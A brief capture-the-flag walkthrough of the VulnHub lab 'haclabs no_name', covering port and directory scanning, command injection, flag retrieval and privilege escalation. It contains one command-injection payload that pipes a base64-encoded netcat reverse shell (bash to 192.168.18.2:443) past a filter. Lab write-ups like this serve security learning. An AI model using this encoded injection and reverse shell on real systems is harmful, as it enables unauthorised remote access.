https://www.vulnhub.com/entry/haclabs-no_name,429/
Run a nmap scan to find for open ports.
Run a gobuster scan to find for hidden directories.
Since we are unable to send nc commands , let’s encode it in base64.
Let’s send the encoded nc payload.
ping 127.0.0.1 | echo "bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMTguMiA0NDM=" | base64 -d
Start a nc listener and a shell will be gained once the query is sent.
In the home directory of the yash user we found the first flag which contains a clue.
In the haclabs directory there is the second flag.
Use the find command to find for hidden files.
Password found.
Upgrade the python shell and switch user to haclabs.
Head to GTFO bins to find for an exploit.
Root gained.
Persecure : my learning archive 